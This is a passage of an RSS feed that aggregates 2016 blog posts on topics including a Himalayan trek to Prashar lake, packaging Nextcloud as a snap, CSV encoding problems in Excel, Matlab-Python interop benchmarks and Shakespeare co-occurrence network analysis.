&lt;/ul&gt;</description><author>Josh Thompson</author><pubDate>Thu, 23 Jun 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://josh.works/programming/2016/06/23/ruby-tutorial-001/</guid></item><item><title>Winter trip to Prashar</title><link>/2016/06/23/winter-trip-to-prashar.html</link><description>Prashar is a small lake situated in the Himalayan foothills, about 49 km north of Mandi town in Himachal Pradesh. The lake lies in between the Dhauladhar and the Pir Panjal ranges and offers breathtaking views of both. Prashar is accessible by road most of the year except in the winter from late December to February. There is also a 7 km trail that starts from a village named Baagi that is accessible almost throughout the year. Reaching there My idea was to hitch-hike up the road from Baagi as there was little news about the trail conditions. Reaching Baagi proved to be much easier than expected. I took a bus from Delhi on Friday night and reached Mandi at 5:30 am next morning only to be jolted by the chilly morning air. After quickly adding layers of warm clothing, I asked about the buses to Baagi and Prashar. The only bus to Prashar leaves Mandi at 7:45 am but there was an earlier bus that could drop me about 4 kms from Baagi. I took this bus and got off at a fork in the road somewhere between the villages of Kataula and Baagi It was about 23 km to Prashar and I started walking along the empty road. On the way, I hitched a ride with a confident, young man on a scooter. He had quit a well paying job in a city because he wanted to serve his state and its people. To my surprise, he was following the road just to enjoy the ride and to watch the sunrise from a nice vantage point. We said our goodbyes after chatting for some time and I continued alone up the road. First view of the Pir Panjal with Deo Tibba in the center After about an hour’s walk, I was surprised to see a bus come up behind me. Glad to have some company, I got into it and was happy to be dropped at a point which was about 7 km from the lake. From that point, I had the caretaker of the Forest Rest House for company and we took a short cut through the woods to reach the top of a small hill. The road was pretty much straight after that and went along a ridge with fabulous views of the Dhauladhar and Pir Panjal ranges. The environs Having used all possible modes of transportation, I was surprised to find myself at the Forest Rest House by noon. The lake is about half a kilometre from the rest house. I dropped my stuff and had some hot tea before making a move towards it. The lake and the temple complex The lake itself is situated in a bowl shaped depression which results in it getting lesser snow than its surroundings. In mid-December, only one side of it had snow whereas the other half was dry. With a clear blue sky and hardly any breeze, the lake was serene and reflections of the afternoon sun sparkled on its surface. The three tier temple dedicated to Sage Prashar The temple of sage Prashar adjoining the lake is believed to be from the 13th century and is made up mostly of wood and stone. It is an interesting three tier pagoda like structure having a conical top tier mounted on two pyramidal ones. On the inside, the woodwork is carved in medieval Indian tradition with figures of numerous deities as well as intricate geometric patterns. The doorway to the temple is framed in distinct patterns, of which the one depicting a couple of knotted snakes is almost lifelike. Inside the temple stands a statue of Sage Prashar. Carvings on the temple facade Getting back On my way back, I decided to take the trail and started off at about 9:30 in the morning. The trail can be divided into two parts — the upper half that goes through a grassland and the lower half through a thick pine forest. The upper part was covered almost entirely under a few inches of snow and going down was great fun as the snow provided some good cushioning. The caretaker told me to follow the electricity lines till the start of the forested part. At that point, the lines run straight into the forest and you need to take the path that starts a few meters towards their right. A Gujjar hut on the snow covered trail Just before the start of the forest, a beautiful pool of water came into view just off the trail. The water in the pool had frozen into a thick sheet of ice and seemed to be a good place to try my ice skating skills. After making sure that the ice was solid and a few tries of slow skating, I ran onto the ice sheet in an attempt to skate over it. Alas!!! The next moment only made me remember what I had learnt in high school physics — that the coefficient of friction between anything and ice is very low. The result was an embarrassing crash into the ice sheet that literally broke the glass. That I survived the crash without any broken bones was the only comforting factor. The latter half of the trek was completed in due silence and with an effort to minimize all risk. Half a kilometre from Baagi, a mini landslide had washed away the main trail and I had to figure out a detour. From Baagi, another good fellow dropped me to Kataula from where I took a bus to Mandi. Overall, the trip was quite rewarding and besides the crash on the ice everything else played out really well. The majestic, almost 270° views of the Himalayas that the place offers along with the ease of reaching Prashar really makes it a great weekend escape. That said, I will leave you with a few more panoramic views of the mountains. The Pir Panjal Morning sun on the Dhauladhar</description><author>Over the Hills</author><pubDate>Thu, 23 Jun 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">/2016/06/23/winter-trip-to-prashar.html</guid></item><item><title>Snapping Nextcloud: MySQL</title><link>https://kyrofa.com/posts/snapping-nextcloud-mysql/</link><description>In the previous post of this series, we discussed the process of and lessons learned from building PHP 7 for the Nextcloud snap. Nextcloud supports a number of databases, but they recommend MySQL (the v9 docs that I used when making this decision are lost to the dust of time, but MySQL is still the recommended option in v21), so for this post that&amp;rsquo;s what we&amp;rsquo;ll focus on getting into the snap.</description><author>kyrofa's blog</author><pubDate>Thu, 23 Jun 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://kyrofa.com/posts/snapping-nextcloud-mysql/</guid></item><item><title>The Missing Git Command: The power of git blame without the blaming</title><link>https://joshuarogers.net/articles/2016-06/missing-git-command/</link><description>The Worst Thing Ever I know the worst code that I've ever professionally written. It was an overly generic UI component. It managed to combine a total misunderstanding of MVC, heavy constructors, an overly broad interface that leaked abstraction like a sieve, empty methods, liberal use of Object, and was driven by unexceptional-exceptions. Oh, and it couldn't be resized.
Not that any of that mattered. Despite all of the odds against it, it worked quite well from the user's perspective.</description><author>Joshua Rogers</author><pubDate>Wed, 22 Jun 2016 15:00:00 GMT</pubDate><guid isPermaLink="true">https://joshuarogers.net/articles/2016-06/missing-git-command/</guid></item><item><title>Learn enough CSS to mark up a PSD</title><link>https://goshacmd.com/enough-css-to-psd/</link><author>Gosha Spark</author><pubDate>Wed, 22 Jun 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://goshacmd.com/enough-css-to-psd/</guid></item><item><title>Scraping the Web with AWS Lambda and PhantomJS</title><link>https://artem.krylysov.com/blog/2016/06/22/scraping-the-web-with-aws-lambda-and-phantomjs/</link><description>&lt;p&gt;Here are the slides from my talk &amp;quot;Scraping the Web with AWS Lambda and PhantomJS&amp;quot; given at Greater Philadelphia AWS User Group meetup on May 25, 2016.&lt;/p&gt;
&lt;div class="align-left media"&gt;&lt;/div&gt;&lt;p&gt;You can find the source code of PhantomJS/Node.js web scraper for AWS Lambda at &lt;a class="reference external" href="https://github.com/akrylysov/lambda-phantom-scraper" target="_blank"&gt;https://github.com/akrylysov/lambda-phantom-scraper&lt;/a&gt;.&lt;/p&gt;</description><author>Artem Krylysov</author><pubDate>Wed, 22 Jun 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://artem.krylysov.com/blog/2016/06/22/scraping-the-web-with-aws-lambda-and-phantomjs/</guid></item><item><title>Snapping Nextcloud: PHP 7</title><link>https://kyrofa.com/posts/snapping-nextcloud-php-7/</link><description>In the previous post of this series, we discussed the process of and lessons learned from building Apache for the Nextcloud snap. Nextcloud is a web application written in PHP, so for this post we&amp;rsquo;ll focus on getting PHP into the snap.
PHP 7, like Apache, is included in the Ubuntu archives. However, I was planning on using the PHP Apache module, and since I was building Apache from source, I figured there&amp;rsquo;d be a lot of hoops for me to jump through if I tried to shoehorn the .</description><author>kyrofa's blog</author><pubDate>Wed, 22 Jun 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://kyrofa.com/posts/snapping-nextcloud-php-7/</guid></item><item><title>CSV: An Encoding Nightmare</title><link>https://donatstudios.com/CSV-An-Encoding-Nightmare</link><description>&lt;p&gt;&lt;strong&gt;UPDATE 2019-01-16&lt;/strong&gt;: In the three years since this article was written, parts of the article, in particular talking about UTF-8 are thankfully no longer accurate.&lt;/p&gt;
&lt;p&gt;It would appear in a recent update Microsoft has added support for safely reading and writing UTF-8 CSVs to Excel. There is a new format in the save dialog &lt;code&gt;CSV UTF-8 (Comma delimited)&lt;/code&gt; which is distinct from &lt;code&gt;Comma Separated Values&lt;/code&gt; which is also still in there. &lt;/p&gt;
&lt;p&gt;&lt;del&gt;In my testing it appears to safely both load and save. Best of all it appears if there is a BOM, it leaves it, if there isn't it doesn't add one. Very nice handling indeed.&lt;/del&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;UPDATE 2022-07-22&lt;/strong&gt;:&lt;/p&gt;
&lt;p&gt;It would appear that the stricken above was incorrect. Current versions of Excel will only reliably load a UTF-8 CSV if a UTF-8 BOM is in place.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;The company I work for manages a self-service data import system, handling information from school districts “Student Information Systems”. There are hundreds if not thousands of SIS’s out there, but what the vast majority have in common is the ability to export CSV. It is the lingua franca, everyone can get us CSVs. &lt;/p&gt;
&lt;p&gt;CSV to the casual observer seems a simple portable format, but its looks are deceiving. If the data is pure &lt;a href="https://www.asciitable.com/"&gt;&lt;strong&gt;ASCII&lt;/strong&gt;&lt;/a&gt; (bytes 0-127) you’ll be fine. However, if there is a need for any sort of non-ASCII character, there is some work ahead.&lt;/p&gt;
&lt;p&gt;In our case, handling school data from around the world, correctly handling non-ASCII characters is of the utmost importance. &lt;/p&gt;
&lt;h2&gt;Excel: A World of Hurt&lt;/h2&gt;
&lt;p&gt;The biggest problem is not CSV itself, but that the primary tool used to interact with it is Excel. Excel handles CSV encodings badly.&lt;/p&gt;
&lt;p&gt;Creating a new document in Excel and saving as ”Comma Separated Values (.csv)” it uses your locale’s Windows or Mac codepage. Win-1252 and MacRoman respectively in the United States. If your codepage doesn’t support a character in your document, it will be silently replaced with an underscore &lt;code&gt;_&lt;/code&gt; character.&lt;/p&gt;
&lt;p&gt;Because it uses codepages and not a Unicode encoding, it makes processing a painful chore. There is no way to tell the difference between different 8-bit codepages programatically. &lt;/p&gt;
&lt;p&gt;One can use heuristics to sort them into an order of likelihood, but there is no way to ever know for sure. We chose to present the user with previews of the most likely codepages, and let them pick the correct one.&lt;/p&gt;
&lt;h3&gt;Excel for Mac: Broken Beyond Belief&lt;/h3&gt;
&lt;p&gt;The Macintosh version of Microsoft Excel is particularly harrowing. &lt;/p&gt;
&lt;p&gt;As I mentioned above, Excel saves your CSV in your locales codepage. One should note that the Mac codepages fell out of use with OS 9, almost 15 years ago. Microsoft did not get that memo.&lt;/p&gt;
&lt;p&gt;While that by definition makes the CSVs the Mac version of Excel exports unusable on Windows, the problem is more unfortunate than that. The Mac version can only &lt;strong&gt;read&lt;/strong&gt; the locales &lt;strong&gt;Windows&lt;/strong&gt; codepage. &lt;/p&gt;
&lt;p&gt;That means the Mac version of Excel cannot read CSVs &lt;strong&gt;it&lt;/strong&gt; wrote. That's pathetic.&lt;/p&gt;
&lt;p&gt;If you had &lt;strong&gt;any extended characters&lt;/strong&gt; when you saved, they are scrambled when you reopen it. This problem has persisted in every version of Mac Excel up to the current Excel 2016. &lt;/p&gt;
&lt;p&gt;One simply &lt;strong&gt;cannot&lt;/strong&gt; safely open a CSV created with the Mac version of Excel, on any platform, anywhere.&lt;/p&gt;
&lt;h2&gt;UTF-8? What’s that?&lt;/h2&gt;
&lt;p&gt;UTF-8 is the encoding of the 21st Century. It was quick in  &lt;a href="https://en.wikipedia.org/wiki/File:UnicodeGrow2b.png"&gt;overtaking every other encoding&lt;/a&gt;. &lt;em&gt;Almost&lt;/em&gt; every modern application supports it. This will be easy and we’ll be fine? Not so fast. &lt;/p&gt;
&lt;p&gt;If one attempts to open a CSV file encoded as UTF-8 &lt;em&gt;without&lt;/em&gt; a Byte Order Mark (&lt;a href="https://en.wikipedia.org/wiki/Byte_order_mark"&gt;BOM&lt;/a&gt;) as &lt;a href="https://utf8everywhere.org/#faq.boms"&gt;recommended&lt;/a&gt;, any non-ASCII characters are again scrambled.&lt;/p&gt;
&lt;p&gt;This is the CSV format Apple’s &lt;em&gt;Numbers&lt;/em&gt; exports by default, UTF-8 sans BOM.&lt;/p&gt;
&lt;p&gt;If we try it again &lt;strong&gt;with&lt;/strong&gt; a UTF-8 BOM prepended to the file and Excel will read it. This is deceptive because once saved the text will remain correctly encoded UTF-8, but bizarrely the &lt;strong&gt;BOM will be stripped&lt;/strong&gt; causing the file to no longer be correctly readable.&lt;/p&gt;
&lt;p&gt;Many naïve application output UTF-8 + BOM CSVs, and they read correctly but do not write correctly. I’ve seen this cause all sorts of headaches because it appears to work but does not.&lt;/p&gt;
&lt;h2&gt;The &lt;strike&gt;Right Way&lt;/strike&gt; Functional Workaround&lt;/h2&gt;
&lt;p&gt;As of this writing, there exists a &lt;strong&gt;single&lt;/strong&gt; usable CSV format that Microsoft Excel can both &lt;em&gt;read&lt;/em&gt; &lt;strong&gt;and&lt;/strong&gt; &lt;em&gt;write&lt;/em&gt; safely across platforms. Tab delimited UTF-16LE with leading Byte Order Mark. &lt;/p&gt;
&lt;p&gt;Using Excel to output into this format to begin with, you have to use the Save As dialog and choose “UTF-16 Unicode Text (.txt)”. Frustratingly, it includes a &lt;code&gt;.txt&lt;/code&gt; extension by default which can be confusing for non-technical users. However, if you provide clear instructions to Windows users to save their filename in quotes with a CSV extension such as &lt;code&gt;"example.csv"&lt;/code&gt; it is workable.&lt;/p&gt;
&lt;p&gt;If you operate an application with a CSV exporter &lt;strong&gt;please&lt;/strong&gt; use this as your default export format. It will save us all many headaches in the long run.&lt;/p&gt;</description><author>Donat Studios</author><pubDate>Tue, 21 Jun 2016 03:17:57 GMT</pubDate><guid isPermaLink="true">https://donatstudios.com/CSV-An-Encoding-Nightmare</guid></item><item><title>Transplant, revisited</title><link>https://bastibe.de/2016-06-21-transplant-revisited.html</link><description>&lt;p&gt;A few months ago, I &lt;a href="http://bastibe.de/2015-11-03-matlab-engine-performance.html"&gt;talked about&lt;/a&gt; the performance of calling Matlab from Python. Since then, I implemented a few optimizations that make working with Transplant a lot faster:&lt;/p&gt;
&lt;p&gt;&lt;img alt="timings" src="http://bastibe.de/static/2016-06/timings.png" /&gt;&lt;/p&gt;
&lt;p&gt;The workload consisted of generating a bunch of random numbers (not included in the times), and sending them to Matlab for computation. This task is entirely dominated by the time it takes to transfer the data to Matlab (see table at the end for intra-language benchmarks of the same task).&lt;/p&gt;
&lt;p&gt;As you can see, the new Transplant is significantly faster &lt;del&gt;for small workloads, and still a factor of two faster for larger amounts of data&lt;/del&gt;. It is now almost always a faster solution than the Matlab Engine for Python (MEfP) and Oct2Py. &lt;del&gt;For very large datasets, Oct2Py might be preferable, though.&lt;/del&gt;&lt;/p&gt;
&lt;p&gt;This improvement comes from three major changes: Matlab functions are now returned as callable objects instead of ad-hoc functions, Transplant now uses MsgPack instead of JSON, and &lt;code&gt;loadlibrary&lt;/code&gt; instead of a Mex file to call into &lt;code&gt;libzmq&lt;/code&gt;. All of these changes are entirely under the hood, though, and the public API remains unchanged.&lt;/p&gt;
&lt;p&gt;The callable object thing is the big one for small workloads. The advantage is that the objects will only fetch documentation if &lt;code&gt;__doc__&lt;/code&gt; is actually asked for. As it turns out, running &lt;code&gt;help('funcname')&lt;/code&gt; for every function call is kind of a big overhead.&lt;/p&gt;
&lt;p&gt;Bigger workloads however are dominated by the time it takes Matlab to decode the data. String parsing is very slow in Matlab, which is a bad thing indeed if you're planning to read a couple hundred megabytes of JSON. Thus, I replaced JSON with MsgPack, which eliminates the parsing overhead almost entirely. JSON messaging is still available, though, if you pass &lt;code&gt;msgformat='json'&lt;/code&gt; to the constructor. &lt;strong&gt;Edit:&lt;/strong&gt; Additionally, binary data is no longer encoded as base64 strings, but passed directly through MsgPack. This yields about a ten-fold performance improvement, especially for larger data sets.&lt;/p&gt;
&lt;p&gt;Lastly, I rewrote the ZeroMQ interaction to use &lt;code&gt;loadlibrary&lt;/code&gt; instead of a Mex file. This has no impact on processing speed at all, but you don't have to &lt;a href="http://bastibe.de/2016-05-31-Matlab-FFI.html"&gt;worry about&lt;/a&gt; compiling that C code any more.&lt;/p&gt;
&lt;p&gt;Oh, and Transplant now works on Windows!&lt;/p&gt;
&lt;p&gt;Here is the above data again in tabular form:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
  &lt;th&gt;Task&lt;/th&gt;
  &lt;th&gt;New Transplant&lt;/th&gt;
  &lt;th&gt;Old Transplant&lt;/th&gt;
  &lt;th&gt;Oct2Py&lt;/th&gt;
  &lt;th&gt;MEfP&lt;/th&gt;
  &lt;th&gt;Matlab&lt;/th&gt;
  &lt;th&gt;Numpy&lt;/th&gt;
  &lt;th&gt;Octave&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
  &lt;td&gt;startup&lt;/td&gt;
  &lt;td&gt;4.8 s&lt;/td&gt;
  &lt;td&gt;5.8 s&lt;/td&gt;
  &lt;td&gt;11 ms&lt;/td&gt;
  &lt;td&gt;4.6 s&lt;/td&gt;
  &lt;td&gt;&lt;/td&gt;
  &lt;td&gt;&lt;/td&gt;
  &lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
  &lt;td&gt;sum(randn(1,1))&lt;/td&gt;
  &lt;td&gt;3.36 ms&lt;/td&gt;
  &lt;td&gt;34.2 ms&lt;/td&gt;
  &lt;td&gt;29.6 ms&lt;/td&gt;
  &lt;td&gt;1.8 ms&lt;/td&gt;
  &lt;td&gt;9.6 μs&lt;/td&gt;
  &lt;td&gt;1.8 μs&lt;/td&gt;
  &lt;td&gt;6 μs&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
  &lt;td&gt;sum(randn(1,10))&lt;/td&gt;
  &lt;td&gt;3.71 ms&lt;/td&gt;
  &lt;td&gt;35.8 ms&lt;/td&gt;
  &lt;td&gt;30.5 ms&lt;/td&gt;
  &lt;td&gt;1.8 ms&lt;/td&gt;
  &lt;td&gt;1.8 μs&lt;/td&gt;
  &lt;td&gt;1.8 μs&lt;/td&gt;
  &lt;td&gt;9 μs&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
  &lt;td&gt;sum(randn(1,100))&lt;/td&gt;
  &lt;td&gt;3.27 ms&lt;/td&gt;
  &lt;td&gt;33.9 ms&lt;/td&gt;
  &lt;td&gt;29.5 ms&lt;/td&gt;
  &lt;td&gt;2.06 ms&lt;/td&gt;
  &lt;td&gt;2.2 μs&lt;/td&gt;
  &lt;td&gt;1.8 μs&lt;/td&gt;
  &lt;td&gt;9 μs&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
  &lt;td&gt;sum(randn(1,1000))&lt;/td&gt;
  &lt;td&gt;4.26 ms&lt;/td&gt;
  &lt;td&gt;32.7 ms&lt;/td&gt;
  &lt;td&gt;30.6 ms&lt;/td&gt;
  &lt;td&gt;9.1 ms&lt;/td&gt;
  &lt;td&gt;4.1 μs&lt;/td&gt;
  &lt;td&gt;2.3 μs&lt;/td&gt;
  &lt;td&gt;12 μs&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
  &lt;td&gt;sum(randn(1,1e4))&lt;/td&gt;
  &lt;td&gt;4.35 ms&lt;/td&gt;
  &lt;td&gt;34.5 ms&lt;/td&gt;
  &lt;td&gt;30 ms&lt;/td&gt;
  &lt;td&gt;72.2 ms&lt;/td&gt;
  &lt;td&gt;25 μs&lt;/td&gt;
  &lt;td&gt;5.8 μs&lt;/td&gt;
  &lt;td&gt;38 μs&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
  &lt;td&gt;sum(randn(1,1e5))&lt;/td&gt;
  &lt;td&gt;5.45 ms&lt;/td&gt;
  &lt;td&gt;86.1 ms&lt;/td&gt;
  &lt;td&gt;31.2 ms&lt;/td&gt;
  &lt;td&gt;712 ms&lt;/td&gt;
  &lt;td&gt;55 μs&lt;/td&gt;
  &lt;td&gt;38.6 μs&lt;/td&gt;
  &lt;td&gt;280 μs&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
  &lt;td&gt;sum(randn(1,1e6))&lt;/td&gt;
  &lt;td&gt;44.1 ms&lt;/td&gt;
  &lt;td&gt;874 ms&lt;/td&gt;
  &lt;td&gt;45.7 ms&lt;/td&gt;
  &lt;td&gt;7.21 s&lt;/td&gt;
  &lt;td&gt;430 μs&lt;/td&gt;
  &lt;td&gt;355 μs&lt;/td&gt;
  &lt;td&gt;2.2 ms&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
  &lt;td&gt;sum(randn(1,1e7))&lt;/td&gt;
  &lt;td&gt;285 ms&lt;/td&gt;
  &lt;td&gt;10.6 s&lt;/td&gt;
  &lt;td&gt;643 ms&lt;/td&gt;
  &lt;td&gt;72 s&lt;/td&gt;
  &lt;td&gt;3.5 ms&lt;/td&gt;
  &lt;td&gt;5.04 ms&lt;/td&gt;
  &lt;td&gt;22 ms&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;</description><author>bastibe.de</author><pubDate>Tue, 21 Jun 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://bastibe.de/2016-06-21-transplant-revisited.html</guid></item><item><title>Snapping Nextcloud: The web server</title><link>https://kyrofa.com/posts/snapping-nextcloud-the-web-server/</link><description>The backbone of any web application is of course the web server, so that&amp;rsquo;s where I started when snapping Nextcloud. I went with Apache as opposed to Nginx for two reasons: 1) Apache is recommended by Nextcloud (the v9 docs that I used when making this decision are lost to the dust of time, but Apache is still the recommended option in v21), and 2) I&amp;rsquo;m much more familiar with Apache than Nginx.</description><author>kyrofa's blog</author><pubDate>Tue, 21 Jun 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://kyrofa.com/posts/snapping-nextcloud-the-web-server/</guid></item><item><title>Automatic clustering in mgmt</title><link>https://purpleidea.com/blog/2016/06/20/automatic-clustering-in-mgmt/</link><description>&lt;p&gt;In &lt;a href="https://github.com/purpleidea/mgmt/"&gt;mgmt&lt;/a&gt;, deploying and managing your clustered config management infrastructure needs to be as automatic as the infrastructure you&amp;rsquo;re using mgmt to manage. With mgmt, instead of a centralized data store, we function as a distributed system, built on top of &lt;a href="https://github.com/coreos/etcd"&gt;etcd&lt;/a&gt; and the &lt;a href="https://en.wikipedia.org/wiki/Raft_(computer_science)"&gt;raft protocol&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;In this article, I&amp;rsquo;ll cover how this feature works.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;span style="text-decoration: underline;"&gt;Foreword&lt;/span&gt;:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Mgmt is a next generation configuration management project. If you haven&amp;rsquo;t heard of it yet, or you don&amp;rsquo;t remember why we use a distributed database, start by reading the previous articles:&lt;/p&gt;</description><author>The Technical Blog of James on purpleidea.com</author><pubDate>Mon, 20 Jun 2016 15:28:51 GMT</pubDate><guid isPermaLink="true">https://purpleidea.com/blog/2016/06/20/automatic-clustering-in-mgmt/</guid></item><item><title>Upcoming speaking In Hong Kong and South Africa</title><link>https://purpleidea.com/blog/2016/06/20/upcoming-speaking-in-hong-kong-and-south-africa/</link><description>&lt;p&gt;I&amp;rsquo;m thrilled to tell you that I&amp;rsquo;ll be speaking about &lt;a href="https://purpleidea.com/tags/mgmtconfig/"&gt;mgmt&lt;/a&gt; in Hong Kong and South Africa. It will be my first time to both countries and my first time to &lt;a href="https://en.wikipedia.org/wiki/Asia"&gt;Asia&lt;/a&gt; and &lt;a href="https://en.wikipedia.org/wiki/Africa"&gt;Africa&lt;/a&gt;!&lt;/p&gt;
&lt;p&gt;In Hong Kong I&amp;rsquo;ll be speaking at &lt;a href="https://2016.opensource.hk/topics/next-generation-config-mgmt/"&gt;HKOSCon2016&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;In South Africa I&amp;rsquo;ll be speaking at &lt;a href="https://debconf16.debconf.org/schedule/"&gt;DebConf16&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I&amp;rsquo;m looking forward to meeting with many of the hard-working Debian hackers, and collaborating with them to build and promote excellent Free Software. The &lt;a href="https://github.com/purpleidea/mgmt/"&gt;mgmt&lt;/a&gt; project considers both Fedora and Debian to be first class platforms, and parity is a primary design goal.&lt;/p&gt;</description><author>The Technical Blog of James on purpleidea.com</author><pubDate>Mon, 20 Jun 2016 07:08:59 GMT</pubDate><guid isPermaLink="true">https://purpleidea.com/blog/2016/06/20/upcoming-speaking-in-hong-kong-and-south-africa/</guid></item><item><title>Installing Nextcloud can be a snap</title><link>https://kyrofa.com/posts/installing-nextcloud-can-be-a-snap/</link><description>I&amp;rsquo;ve been an ownCloud user for years, and I recently moved to using Nextcloud, which is based upon ownCloud. Both my wife and I use it to sync our calendars and contacts across all our devices, and also use it to sync our documents, music, pictures, and videos. It caters to my paranoid nature&amp;ndash; the idea that all that information is being saved on my own in-house server instead of someone else&amp;rsquo;s greatly pleases me.</description><author>kyrofa's blog</author><pubDate>Mon, 20 Jun 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://kyrofa.com/posts/installing-nextcloud-can-be-a-snap/</guid></item><item><title>Towards Shakespearean Social Network Analysis</title><link>https://bastian.rieck.me/blog/2016/introduction_shakespeare_social_network_analysis/</link><description>&lt;p&gt;I recently had the pleasure to see a talk about the style of &lt;a href="https://en.wikipedia.org/wiki/Shakespeare"&gt;Shakespeare&lt;/a&gt;, given by
&lt;a href="http://www.as.uni-heidelberg.de/personen/Busse"&gt;Prof. Dr. Beatrix Busse&lt;/a&gt; and her inspired staff.
One of the talks, given by &lt;a href="https://kleiber.me"&gt;Ingo Kleiber&lt;/a&gt;, struck a nerve in me. He talked about
creating social networks from Shakespeare’s plays and analyse them in the way we analyse,
well, “real” social networks.&lt;/p&gt;
&lt;p&gt;Naturally, I needed to see for myself how fun this would be. In the subsequent sections, I am going
to describe some initial considerations. I plan on neglecting my dissertation for a little bit to
present a more concise write-up later on.&lt;/p&gt;
&lt;h1 id="where-to-get-some-data"&gt;Where to get some data?&lt;/h1&gt;
&lt;p&gt;Luckily for us, many people have already invested large chunks of their time to make
Shakespeare’s plays accessible and readable for computers. There is a &lt;a href="http://lexically.net/wordsmith/support/shakespeare.html"&gt;whole corpus of 37
plays&lt;/a&gt;, in a computer-readable format,
available for download. Hence, no need to do any &lt;a href="https://en.wikipedia.org/wiki/Natural_language_processing"&gt;&amp;ldquo;natural language processing&amp;rdquo;&lt;/a&gt; for now.&lt;/p&gt;
&lt;h1 id="what-do-with-it"&gt;What do with it?&lt;/h1&gt;
&lt;p&gt;Some gentle prodding with Python makes it possible to extract a &lt;a href="https://en.wikipedia.org/wiki/Co-occurrence_networks"&gt;&amp;ldquo;co-occurrence network&amp;rdquo;&lt;/a&gt; from the play. How this extraction is done is somewhat subjective. In
my initial attempt, following the analysis made by &lt;a href="https://kleiber.me"&gt;Ingo&lt;/a&gt;, I broke down the
plays in individual scenes. After identifying the characters in every scene, I opted for adding an
edge between two characters if they appear in the same scene. Of course, this is somewhat
rough—we may never know whether they actually talk to each other. Also, I did not yet take
&lt;em&gt;stage directions&lt;/em&gt; into account. It is thus well possible that I add an edge between two characters
that are never actually on the stage at the same time. This obviously needs to be improved for any
“serious” analysis—from which I am very far removed anyway, by virtue of being a
barbarian in the ways of linguistics!&lt;/p&gt;
&lt;p&gt;So, having extracted all those edges, I decided on building a &lt;a href="https://en.wikipedia.org/wiki/Adjacency_matrix"&gt;&amp;ldquo;adjacency matrix&amp;rdquo;&lt;/a&gt; where edge weights indicate how often characters are part of the same
scene. This permits me to draw really nice network diagrams, such as this one here (which comes
from Macbeth, one of my most favourite plays):&lt;/p&gt;
&lt;figure&gt;&lt;a href="https://bastian.rieck.me/images/macbeth_network.svg"&gt;&lt;img alt="Macbeth co-occurrence network" src="https://bastian.rieck.me/images/macbeth_network.svg" width="800" /&gt;&lt;/a&gt;
&lt;/figure&gt;

&lt;p&gt;Nodes have been scaled and coloured according to their degree, just like the edges. The darker the
colour, the more important the character. Not too surprisingly, &lt;em&gt;Macbeth&lt;/em&gt; itself appears to be
important to this play. Who could have anticipated this? The graph layout algorithm—a simple
force-directed scheme—also serves to separate the play quite well. The parts with the
“Weird Sisters” are clearly shown to be somewhat different from the rest of the action.&lt;/p&gt;
&lt;h1 id="density"&gt;Density&lt;/h1&gt;
&lt;p&gt;While this looks nice and all, it is not exactly informative. We need to compare more plays with and
among each other! To do just that, I calculated the &lt;em&gt;graph density&lt;/em&gt;—the ratio between the
actual amount of edges and the total number of possible edges—for every play. The graph
density measures how, well, &lt;em&gt;dense&lt;/em&gt; the graph is in terms of edges. In other words, the more the
graph resembles a complete graph, the higher its density will be. In theatrical terms, I imagine
that a dense co-occurrence network indicates many plot lines that are interwoven and converge later
on, prompting literally every character to be connected to the other characters.&lt;/p&gt;
&lt;p&gt;To perform some exploratory data analysis on Shakespeare’s plays, let us take &lt;em&gt;all&lt;/em&gt; plays, tag
them according to three types (&lt;em&gt;comedy&lt;/em&gt;, &lt;em&gt;tragedy&lt;/em&gt;, and &lt;em&gt;history&lt;/em&gt;), which the corpus
fortunately provides on its own, and plot graph density against the number of characters. This is
how it looks like:&lt;/p&gt;
&lt;figure&gt;&lt;a href="https://bastian.rieck.me/images/shakespeare_density_vs_characters.png"&gt;&lt;img alt="Graph density vs. number of characters in Shakespearean plays" src="https://bastian.rieck.me/images/shakespeare_density_vs_characters.png" /&gt;&lt;/a&gt;
&lt;/figure&gt;

&lt;p&gt;Finally, some nice patterns! Notice that all the historical plays—such as &lt;em&gt;Henry V&lt;/em&gt;—are
characterized by having a rather low density (less than 0.4) but, for the most part, a large
amount of characters. The comedies, by contrast, have a lower amount of characters and a
substantially higher density. The most dense play, in this representation, is &lt;em&gt;Love’s
Labour’s Lost&lt;/em&gt;, one of Shakespeare’s early comedies. The most sparse one is &lt;em&gt;Pericles,
Prince of Tyre&lt;/em&gt;, where the authorship of Shakespeare is somewhat unclear.&lt;/p&gt;
&lt;h1 id="what-to-make-of-this"&gt;What to make of this?&lt;/h1&gt;
&lt;p&gt;It is certainly interesting to see that some patterns start to emerge when one uses statistical or
data analysis techniques to analyse a whole corpus of works. There are lots of interesting
applications here. I did not include any dates, for example. How do the works change over time? Are
plays of later Shakespearean periods less dense or more dense?&lt;/p&gt;
&lt;p&gt;I am very much looking forward to doing more with these data.&lt;/p&gt;
&lt;p&gt;Since I did not release any code so far, please take a look at &lt;a href="https://github.com/IngoKl/shakespearesna1406"&gt;Ingo’s
repository&lt;/a&gt;, where he thankfully provides his sample
